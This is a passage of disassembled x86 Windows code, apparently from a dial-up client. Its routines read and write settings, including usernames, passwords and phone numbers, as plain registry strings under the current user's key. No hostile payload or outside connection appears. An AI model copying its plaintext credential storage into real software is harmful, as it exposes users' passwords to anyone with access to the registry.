mov [ebp+bstrString], ebx
loc_408A2C: ; CODE XREF: sub_408980+62j
; sub_408980+A7j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_408A3A
mov [ebp+lpString], ebx
jmp short loc_408A70
; ---------------------------------------------------------------------------
loc_408A3A: ; CODE XREF: sub_408980+B3j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
xor ebx, ebx
loc_408A70: ; CODE XREF: sub_408980+B8j
mov ecx, [ebp+lpString]
push ecx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_14], edi
jnz short loc_408A8A
xor esi, esi
jmp short loc_408A93
; ---------------------------------------------------------------------------
loc_408A8A: ; CODE XREF: sub_408980+104j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_408A93: ; CODE XREF: sub_408980+108j
lea eax, [esi+edi]
push eax ; ui
push ebx ; strIn
mov [ebp+var_18], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_408AEE
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_14]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_408AEE: ; CODE XREF: sub_408980+125j
mov edx, [ebp+var_10]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov eax, [edx+1Ch]
push eax ; hInstance
call sub_40A840
lea ecx, [ebp+hKey]
push ecx ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz short loc_408B96
mov ecx, [ebp+hKey]
lea edx, [ebp+cbData]
mov esi, ds:RegQueryValueExA
push edx ; lpcbData
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push 0 ; lpReserved
push offset aCc ; "cc"
push ecx ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_408B85
lea edx, [ebp+cbData]
lea eax, [ebp+Data]
push edx ; lpcbData
mov edx, [ebp+hKey]
lea ecx, [ebp+Type]
push eax ; lpData
push ecx ; lpType
push 0 ; lpReserved
push offset aCc ; "cc"
push edx ; hKey
call esi ; RegQueryValueExA
mov eax, [ebp+cbData]
lea ecx, [ebp+Data]
push eax
lea edx, [ebp+var_148]
push ecx
push edx
call sub_40B070
mov eax, [ebp+cbData]
add esp, 0Ch
mov [ebp+eax+var_148], 0
jmp short loc_408B8C
; ---------------------------------------------------------------------------
loc_408B85: ; CODE XREF: sub_408980+1C0j
mov [ebp+var_148], 0
loc_408B8C: ; CODE XREF: sub_408980+203j
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_408B96: ; CODE XREF: sub_408980+1A0j
lea edx, [ebp+var_148]
push edx
call sub_40BD96
mov esi, eax
mov eax, [ebp+lpMem]
add esp, 4
test eax, eax
jz short loc_408BBE
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_408BBE: ; CODE XREF: sub_408980+22Cj
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-454h]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __fastcall sub_408BE0(int)
sub_408BE0 proc near ; CODE XREF: sub_4010C0+3ACp
; sub_405830+12Ep
push esi
push edi
mov esi, ecx
xor edi, edi
push offset a2_0 ; "2.0"
push esi ; int
mov [esi], edi
mov [esi+4], edi
call sub_408E00
mov [esi+28h], edi
mov [esi+24h], edi
lea eax, [esi+10h]
mov ecx, 2
loc_408C04: ; CODE XREF: sub_408BE0+30j
mov [eax-8], edi
mov [eax], edi
mov [eax+8], edi
add eax, 4
dec ecx
jnz short loc_408C04
mov [esi+20h], edi
mov eax, esi
pop edi
pop esi
retn
sub_408BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408C20 proc near ; CODE XREF: sub_404570+Cp
; sub_405830+23Dp
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, [edi]
push eax ; lpMem
call sub_40AF10
mov ecx, [edi+4]
xor ebx, ebx
push ecx ; lpMem
mov [edi], ebx
call sub_40AF10
add esp, 8
mov [edi+4], ebx
lea esi, [edi+10h]
mov ebp, 2
loc_408C49: ; CODE XREF: sub_408C20+64j
mov eax, [esi-8]
cmp eax, ebx
jz short loc_408C5C
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esi-8], ebx
loc_408C5C: ; CODE XREF: sub_408C20+2Ej
mov eax, [esi]
cmp eax, ebx
jz short loc_408C6D
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esi], ebx
loc_408C6D: ; CODE XREF: sub_408C20+40j
mov eax, [esi+8]
cmp eax, ebx
jz short loc_408C80
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esi+8], ebx
loc_408C80: ; CODE XREF: sub_408C20+52j
add esi, 4
dec ebp
jnz short loc_408C49
mov eax, [edi+20h]
cmp eax, ebx
jz short loc_408C99
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [edi+20h], ebx
loc_408C99: ; CODE XREF: sub_408C20+6Bj
mov eax, [edi+28h]
cmp eax, ebx
jz short loc_408CAC
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [edi+28h], ebx
loc_408CAC: ; CODE XREF: sub_408C20+7Ej
pop edi
pop esi
pop ebp
pop ebx
retn
sub_408C20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408CC0 proc near ; CODE XREF: sub_405830+14Bp
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
push esi
push edi
mov edi, ecx
mov eax, [ebp+0]
mov ecx, [edi]
push eax ; lpString2
push ecx ; lpString1
mov ecx, edi
call sub_408DD0
test al, al
jz short loc_408D41
mov edx, [ebp+4]
mov eax, [edi+4]
push edx ; lpString2
push eax ; lpString1
mov ecx, edi
call sub_408DD0
test al, al
jz short loc_408D41
mov eax, [esp+10h+arg_0]
xor ebx, ebx
add ebp, 10h
sub eax, edi
lea esi, [edi+8]
mov [esp+10h+arg_0], eax
jmp short loc_408D07
; ---------------------------------------------------------------------------
loc_408D03: ; CODE XREF: sub_408CC0+76j
mov eax, [esp+10h+arg_0]
loc_408D07: ; CODE XREF: sub_408CC0+41j
mov ecx, [eax+esi]
mov edx, [esi]
push ecx ; lpString2
push edx ; lpString1
mov ecx, edi
call sub_408DD0
test al, al
jz short loc_408D41
mov eax, [ebp+0]
mov ecx, [esi+8]
push eax ; lpString2
push ecx ; lpString1
mov ecx, edi
call sub_408DD0
test al, al
jz short loc_408D41
inc ebx
add esi, 4
add ebp, 4
cmp ebx, 2
jl short loc_408D03
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_408D41: ; CODE XREF: sub_408CC0+1Aj
; sub_408CC0+2Dj ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 4
sub_408CC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_408D50(int,int)
sub_408D50 proc near ; CODE XREF: sub_405830+232p
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
mov esi, ecx
mov eax, [ebp+0]
push eax ; lpString2
push esi ; int
call sub_408E00
mov ecx, [ebp+4]
lea edx, [esi+4]
push ecx ; lpString2
push edx ; int
mov ecx, esi
call sub_408E00
lea ebx, [ebp+10h]
lea edi, [esi+8]
sub ebp, esi
mov [esp+14h+var_4], 2
loc_408D84: ; CODE XREF: sub_408D50+5Dj
mov eax, [edi+ebp]
mov ecx, esi
push eax ; lpString2
push edi ; int
call sub_408E00
mov ecx, [ebx]
lea edx, [edi+8]
push ecx ; lpString2
push edx ; int
mov ecx, esi
call sub_408E00
mov eax, [esp+14h+var_4]
add edi, 4
add ebx, 4
dec eax
mov [esp+14h+var_4], eax
jnz short loc_408D84
mov edi, [esp+14h+arg_0]
lea ecx, [esi+20h]
mov eax, [edi+20h]
push eax ; lpString2
push ecx ; int
mov ecx, esi
call sub_408E00
mov edx, [edi+24h]
pop edi
mov [esi+24h], edx
pop esi
pop ebp
pop ebx
pop ecx
retn 4
sub_408D50 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_408DD0(LPCSTR lpString1,LPCSTR lpString2)
sub_408DD0 proc near ; CODE XREF: sub_408CC0+13p
; sub_408CC0+26p ...
lpString1 = dword ptr 4
lpString2 = dword ptr 8
mov ecx, [esp+lpString1]
test ecx, ecx
jz short loc_408DF0
mov eax, [esp+lpString2]
test eax, eax
jz short loc_408DF0
push eax ; lpString2
push ecx ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
setz al
retn 8
; ---------------------------------------------------------------------------
loc_408DF0: ; CODE XREF: sub_408DD0+6j
; sub_408DD0+Ej
xor al, al
retn 8
sub_408DD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_408E00(int,LPCSTR lpString2)
sub_408E00 proc near ; CODE XREF: sub_408BE0+11p
; sub_408D50+10p ...
arg_0 = dword ptr 4
lpString2 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi]
test eax, eax
jz short loc_408E15
push eax ; lpMem
call sub_40AF10
add esp, 4
loc_408E15: ; CODE XREF: sub_408E00+Aj
mov esi, [esp+8+lpString2]
test esi, esi
jnz short loc_408E26
mov [edi], esi
pop edi
mov al, 1
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_408E26: ; CODE XREF: sub_408E00+1Bj
push esi ; lpString
call ds:lstrlenA ; lstrlenA
inc eax
push eax ; dwBytes
call sub_40AE50
add esp, 4
mov [edi], eax
test eax, eax
jnz short loc_408E44
pop edi
xor al, al
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_408E44: ; CODE XREF: sub_408E00+3Bj
push esi ; lpString2
push eax ; lpString1
call ds:lstrcpyA ; lstrcpyA
pop edi
mov al, 1
pop esi
retn 8
sub_408E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_408E60(int,int,LPCSTR lpString2)
sub_408E60 proc near ; CODE XREF: sub_408E90+4Dp
; sub_409350+Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
lpString2 = dword ptr 0Ch
mov eax, [esp+arg_0]
cmp eax, 1
jl short loc_408E84
cmp eax, 2
jg short loc_408E84
mov edx, [esp+lpString2]
push edx ; lpString2
mov edx, [esp+4+arg_4]
lea eax, [edx+eax*4-4]
push eax ; int
call sub_408E00
retn 0Ch
; ---------------------------------------------------------------------------
loc_408E84: ; CODE XREF: sub_408E60+7j
; sub_408E60+Cj
xor al, al
retn 0Ch
sub_408E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_408E90(int,int,HINSTANCE hInstance,UINT uID)
sub_408E90 proc near ; CODE XREF: sub_4092D0+13p
; sub_409310+13p
String2 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
hInstance = dword ptr 0Ch
uID = dword ptr 10h
mov edx, [esp+hInstance]
sub esp, 400h
lea eax, [esp+400h+String2]
push esi
mov esi, ecx
mov ecx, [esp+404h+uID]
push 400h ; cchBufferMax
push eax ; lpBuffer
push ecx ; uID
push edx ; hInstance
call ds:LoadStringA ; LoadStringA
test eax, eax
jnz short loc_408EC6
xor al, al
pop esi
add esp, 400h
retn 10h
; ---------------------------------------------------------------------------
loc_408EC6: ; CODE XREF: sub_408E90+28j
mov ecx, [esp+404h+arg_4]
mov edx, [esp+404h+arg_0]
lea eax, [esp+404h+String2]
push eax ; lpString2
push ecx ; int
push edx ; int
mov ecx, esi
call sub_408E60
pop esi
add esp, 400h
retn 10h
sub_408E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408EF0 proc near ; CODE XREF: sub_4092F0+9p
; sub_409330+9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 1
jl short loc_408F09
cmp eax, 2
jg short loc_408F09
mov ecx, [esp+arg_4]
mov eax, [ecx+eax*4-4]
retn 8
; ---------------------------------------------------------------------------
loc_408F09: ; CODE XREF: sub_408EF0+7j
; sub_408EF0+Cj
xor eax, eax
retn 8
sub_408EF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_408F10(DWORD Type,LPCSTR cbData,int)
sub_408F10 proc near ; CODE XREF: sub_408FC0+64p
; sub_408FC0+81p ...
Type = dword ptr 4
cbData = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ebx, [esp+4+Type]
push ebp
mov ebp, ds:RegQueryValueExA
mov edx, [ebx]
push esi
lea eax, [esp+0Ch+cbData]
push edi
mov edi, [esp+10h+cbData]
push eax ; lpcbData
lea ecx, [esp+14h+Type]
push 0 ; lpData
push ecx ; lpType
push 0 ; lpReserved
push edi ; lpValueName
push edx ; hKey
call ebp ; RegQueryValueExA
test eax, eax
jz short loc_408F43
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_408F43: ; CODE XREF: sub_408F10+28j
cmp [esp+10h+Type], 1
jz short loc_408F53
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_408F53: ; CODE XREF: sub_408F10+38j
mov esi, [esp+10h+arg_8]
mov eax, [esi]
test eax, eax
jz short loc_408F66
push eax ; lpMem
call sub_40AF10
add esp, 4
loc_408F66: ; CODE XREF: sub_408F10+4Bj
mov eax, [esp+10h+cbData]
inc eax
push eax ; dwBytes
call sub_40AE50
add esp, 4
mov [esi], eax
test eax, eax
jnz short loc_408F83
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_408F83: ; CODE XREF: sub_408F10+68j
lea ecx, [esp+10h+cbData]
lea edx, [esp+10h+Type]
push ecx ; lpcbData
push eax ; lpData
mov eax, [ebx]
push edx ; lpType
push 0 ; lpReserved
push edi ; lpValueName
push eax ; hKey
call ebp ; RegQueryValueExA
test eax, eax
jz short loc_408FB4
mov ecx, [esi]
push ecx ; lpMem
call sub_40AF10
add esp, 4
mov dword ptr [esi], 0
xor al, al
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_408FB4: ; CODE XREF: sub_408F10+88j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn 0Ch
sub_408F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_408FC0(int,LPCSTR phkResult)
sub_408FC0 proc near ; CODE XREF: sub_405830+10Fp
; sub_407EC0+10Dp
lpMem = dword ptr -0Ch
var_8 = dword ptr -8
dwDisposition = dword ptr -4
phkResult = dword ptr 4
sub esp, 0Ch
push esi
mov esi, ecx
push edi
mov edi, [esp+14h+phkResult]
lea eax, [esi+28h]
push edi ; lpString2
push eax ; int
call sub_408E00
lea ecx, [esp+14h+dwDisposition]
lea edx, [esp+14h+phkResult]
push ecx ; lpdwDisposition
push edx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push edi ; lpSubKey
push 80000001h ; hKey
mov [esp+38h+phkResult], 0
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jz short loc_40900E
pop edi
xor al, al
pop esi
add esp, 0Ch
retn 4
; ---------------------------------------------------------------------------
loc_40900E: ; CODE XREF: sub_408FC0+42j
push ebx
push esi ; int
lea eax, [esp+1Ch+phkResult]
push offset cbData ; "version"
push eax ; Type
mov ecx, esi
mov [esp+24h+lpMem], 0
call sub_408F10
test al, al
jz loc_40910A
lea ecx, [esi+4]
lea edx, [esp+18h+phkResult]
push ecx ; int
push offset aSerial ; "serial"
push edx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz loc_40910A
lea eax, [esi+8]
lea ecx, [esp+18h+phkResult]
push eax ; int
push offset aUsername1 ; "username1"
push ecx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz loc_40910A
lea edx, [esi+0Ch]
lea eax, [esp+18h+phkResult]
push edx ; int
push offset aUsername2 ; "username2"
push eax ; Type
mov ecx, esi
call sub_408F10
test al, al
jz loc_40910A
lea ecx, [esi+10h]
lea edx, [esp+18h+phkResult]
push ecx ; int
push offset aPassword1 ; "password1"
push edx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz short loc_40910A
lea eax, [esi+14h]
lea ecx, [esp+18h+phkResult]
push eax ; int
push offset aPassword2 ; "password2"
push ecx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz short loc_40910A
lea edx, [esi+18h]
lea eax, [esp+18h+phkResult]
push edx ; int
push offset aPhonenumber1 ; "phonenumber1"
push eax ; Type
mov ecx, esi
call sub_408F10
test al, al
jz short loc_40910A
lea ecx, [esi+1Ch]
lea edx, [esp+18h+phkResult]
push ecx ; int
push offset aPhonenumber2 ; "phonenumber2"
push edx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz short loc_40910A
lea eax, [esp+18h+lpMem]
lea ecx, [esp+18h+phkResult]
push eax ; int
push offset aConnecttime ; "connecttime"
push ecx ; Type
mov ecx, esi
call sub_408F10
test al, al
jz short loc_40910A
mov bl, 1
jmp short loc_40910C
; ---------------------------------------------------------------------------
loc_40910A: ; CODE XREF: sub_408FC0+6Bj
; sub_408FC0+88j ...
xor bl, bl
loc_40910C: ; CODE XREF: sub_408FC0+148j
mov edx, [esp+18h+phkResult]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
cmp bl, 1
jnz short loc_40913D
mov ecx, [esp+18h+lpMem]
lea eax, [esp+18h+var_8]
push 0Ah
push eax
push ecx
call sub_40B26C
mov edx, [esp+24h+var_8]
mov [esi+24h], eax
add esp, 0Ch
cmp byte ptr [edx], 0
setz bl
loc_40913D: ; CODE XREF: sub_408FC0+15Aj
mov eax, [esp+18h+lpMem]
test eax, eax
jz short loc_40914E
push eax ; lpMem
call sub_40AF10
add esp, 4
loc_40914E: ; CODE XREF: sub_408FC0+183j
mov al, bl
pop ebx
pop edi
pop esi
add esp, 0Ch
retn 4
sub_408FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409160(int,LPCSTR lpValueName,LPCSTR lpData)
sub_409160 proc near ; CODE XREF: sub_409190+60p
; sub_409190+7Dp ...
arg_0 = dword ptr 4
lpValueName = dword ptr 8
lpData = dword ptr 0Ch
push esi
mov esi, [esp+4+lpData]
push esi ; lpString
call ds:lstrlenA ; lstrlenA
mov ecx, [esp+4+arg_0]
push eax ; cbData
mov eax, [esp+8+lpValueName]
push esi ; lpData
mov edx, [ecx]
push 1 ; dwType
push 0 ; Reserved
push eax ; lpValueName
push edx ; hKey
call ds:RegSetValueExA ; RegSetValueExA
test eax, eax
setz al
pop esi
retn 0Ch
sub_409160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409190(LPCSTR dwDisposition)
sub_409190 proc near ; CODE XREF: sub_4092B0+Bp
hKey = dword ptr -44h
Data = byte ptr -40h
dwDisposition = dword ptr 4
sub esp, 44h
push ebx
push esi
mov esi, ecx
mov edx, [esp+4Ch+dwDisposition]
lea eax, [esp+4Ch+dwDisposition]
lea ecx, [esp+4Ch+hKey]
xor ebx, ebx
push eax ; lpdwDisposition
push ecx ; phkResult
push ebx ; lpSecurityAttributes
push 0F003Fh ; samDesired
push ebx ; dwOptions
push ebx ; lpClass
push ebx ; Reserved
push edx ; lpSubKey
push 80000001h ; hKey
mov [esp+70h+hKey], ebx
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jz short loc_4091CE
pop esi
xor al, al
pop ebx
add esp, 44h
retn 4
; ---------------------------------------------------------------------------
loc_4091CE: ; CODE XREF: sub_409190+32j
mov ecx, [esi+24h]
lea eax, [esp+4Ch+Data]
push 0Ah
push eax
push ecx
call sub_40BE1D
mov edx, [esi]
add esp, 0Ch
lea eax, [esp+4Ch+hKey]
mov ecx, esi
push edx ; lpData
push offset cbData ; "version"
push eax ; int
call sub_409160
test al, al
jz loc_40929A
mov ecx, [esi+4]
lea edx, [esp+4Ch+hKey]
push ecx ; lpData
push offset aSerial ; "serial"
push edx ; int
mov ecx, esi
call sub_409160
test al, al
jz loc_40929A
mov eax, [esi+8]
lea ecx, [esp+4Ch+hKey]
push eax ; lpData
push offset aUsername1 ; "username1"
push ecx ; int
mov ecx, esi
call sub_409160
test al, al
jz short loc_40929A
mov edx, [esi+0Ch]
lea eax, [esp+4Ch+hKey]
push edx ; lpData
push offset aUsername2 ; "username2"
push eax ; int
mov ecx, esi
call sub_409160
test al, al
jz short loc_40929A
mov ecx, [esi+10h]
lea edx, [esp+4Ch+hKey]
push ecx ; lpData
push offset aPassword1 ; "password1"
push edx ; int
mov ecx, esi
call sub_409160
test al, al
jz short loc_40929A
mov eax, [esi+14h]
lea ecx, [esp+4Ch+hKey]
push eax ; lpData
push offset aPassword2 ; "password2"
push ecx ; int
mov ecx, esi
call sub_409160
test al, al
jz short loc_40929A
lea edx, [esp+4Ch+Data]
lea eax, [esp+4Ch+hKey]
push edx ; lpData
push offset aConnecttime ; "connecttime"
push eax ; int
mov ecx, esi
call sub_409160
test al, al
jz short loc_40929A
mov bl, 1
loc_40929A: ; CODE XREF: sub_409190+67j
; sub_409190+84j ...
mov ecx, [esp+4Ch+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
mov al, bl
pop esi
pop ebx
add esp, 44h
retn 4
sub_409190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4092B0 proc near ; CODE XREF: sub_405C90+70Dp
; sub_406720+517p
mov eax, [ecx+28h]
test eax, eax
jnz short loc_4092BA
xor al, al
retn
; ---------------------------------------------------------------------------
loc_4092BA: ; CODE XREF: sub_4092B0+5j
push eax ; dwDisposition
call sub_409190
retn
sub_4092B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4092D0(int,HINSTANCE hInstance,UINT uID)
sub_4092D0 proc near ; CODE XREF: sub_4057D0+1Fp
; sub_4057D0+2Ep
arg_0 = dword ptr 4
hInstance = dword ptr 8
uID = dword ptr 0Ch
mov eax, [esp+uID]
mov edx, [esp+hInstance]
push eax ; uID
push edx ; hInstance
mov edx, [esp+8+arg_0]
lea eax, [ecx+8]
push eax ; int
push edx ; int
call sub_408E90
retn 0Ch
sub_4092D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4092F0 proc near ; CODE XREF: sub_405830+256p
; sub_406720+467p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
lea eax, [ecx+8]
push eax
push edx
call sub_408EF0
retn 4
sub_4092F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409310(int,HINSTANCE hInstance,UINT uID)
sub_409310 proc near ; CODE XREF: sub_4057D0+3Dp
; sub_4057D0+4Cp
arg_0 = dword ptr 4
hInstance = dword ptr 8
uID = dword ptr 0Ch
mov eax, [esp+uID]
mov edx, [esp+hInstance]
push eax ; uID
push edx ; hInstance
mov edx, [esp+8+arg_0]
lea eax, [ecx+10h]
push eax ; int
push edx ; int
call sub_408E90
retn 0Ch
sub_409310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409330 proc near ; CODE XREF: sub_405830+26Bp
; sub_406720+47Cp ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
lea eax, [ecx+10h]
push eax
push edx
call sub_408EF0
retn 4
sub_409330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409350(int,LPCSTR lpString2)
sub_409350 proc near ; CODE XREF: sub_406E60+8FEp
; sub_406E60+90Ep ...
arg_0 = dword ptr 4
lpString2 = dword ptr 8
mov eax, [esp+lpString2]
lea edx, [ecx+18h]
push eax ; lpString2
mov eax, [esp+4+arg_0]
push edx ; int
push eax ; int
call sub_408E60
retn 8
sub_409350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409370 proc near ; CODE XREF: sub_405830+290p
; sub_406720+491p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
lea eax, [ecx+18h]
push eax
push edx
call sub_408EF0
retn 4
sub_409370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409390(LPCSTR lpString2)
sub_409390 proc near ; CODE XREF: sub_4093B0+3Dp
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
lea edx, [ecx+20h]
push eax ; lpString2
push edx ; int
call sub_408E00
retn 4
sub_409390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4093B0(HINSTANCE hInstance,UINT uID)
sub_4093B0 proc near ; CODE XREF: sub_405830+24Dp
String2 = byte ptr -400h
hInstance = dword ptr 4
uID = dword ptr 8
mov edx, [esp+hInstance]
sub esp, 400h
lea eax, [esp+400h+String2]
push esi
mov esi, ecx
mov ecx, [esp+404h+uID]
push 400h ; cchBufferMax
push eax ; lpBuffer
push ecx ; uID
push edx ; hInstance
call ds:LoadStringA ; LoadStringA
test eax, eax
jnz short loc_4093E6
xor al, al
pop esi
add esp, 400h
retn 8
; ---------------------------------------------------------------------------
loc_4093E6: ; CODE XREF: sub_4093B0+28j
lea eax, [esp+404h+String2]
mov ecx, esi
push eax ; lpString2
call sub_409390
pop esi
add esp, 400h
retn 8
sub_4093B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409400 proc near ; CODE XREF: sub_406720+33Bp
mov eax, [ecx+20h]
retn
sub_409400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409410 proc near ; CODE XREF: sub_4057D0+55p
; sub_406720+510p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+24h], eax
retn 4
sub_409410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409420 proc near ; CODE XREF: sub_405830+205p
; sub_406720+506p
mov eax, [ecx+24h]
retn
sub_409420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409430(LPCSTR lpString2)
sub_409430 proc near ; CODE XREF: sub_409450+3Dp
lpString2 = dword ptr 4
mov eax, [esp+lpString2]
lea edx, [ecx+4]
push eax ; lpString2
push edx ; int
call sub_408E00
retn 4
sub_409430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_409450(HINSTANCE hInstance,UINT uID)
sub_409450 proc near ; CODE XREF: sub_4057D0+10p
String2 = byte ptr -400h
hInstance = dword ptr 4
uID = dword ptr 8
mov edx, [esp+hInstance]
sub esp, 400h
lea eax, [esp+400h+String2]
push esi
mov esi, ecx
mov ecx, [esp+404h+uID]
push 400h ; cchBufferMax
push eax ; lpBuffer
push ecx ; uID
push edx ; hInstance
call ds:LoadStringA ; LoadStringA
test eax, eax
jnz short loc_409486
xor al, al
pop esi
add esp, 400h
retn 8
; ---------------------------------------------------------------------------
loc_409486: ; CODE XREF: sub_409450+28j
lea eax, [esp+404h+String2]
mov ecx, esi
push eax ; lpString2
call sub_409430
pop esi
add esp, 400h
retn 8
sub_409450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4094A0 proc near ; CODE XREF: sub_405C90+22Ap
push esi
mov esi, ecx
call sub_4094B0
mov eax, esi
pop esi
retn
sub_4094A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4094B0 proc near ; CODE XREF: sub_4094A0+3p
xor eax, eax
lea edx, [ecx+94h]
push edi
mov [ecx+5F4h], eax
mov [ecx+5F8h], eax
mov [ecx+5D0h], eax
mov [ecx], eax
mov [ecx+90h], eax
mov [ecx+8Ch], eax
mov [ecx+4B0h], eax
mov [ecx+4], al
mov [ecx+9], al
mov [ecx+5C4h], eax
mov [ecx+5CCh], eax
mov [ecx+5C8h], eax
mov [ecx+5BCh], eax
mov [ecx+5B8h], eax
mov [ecx+4B5h], al
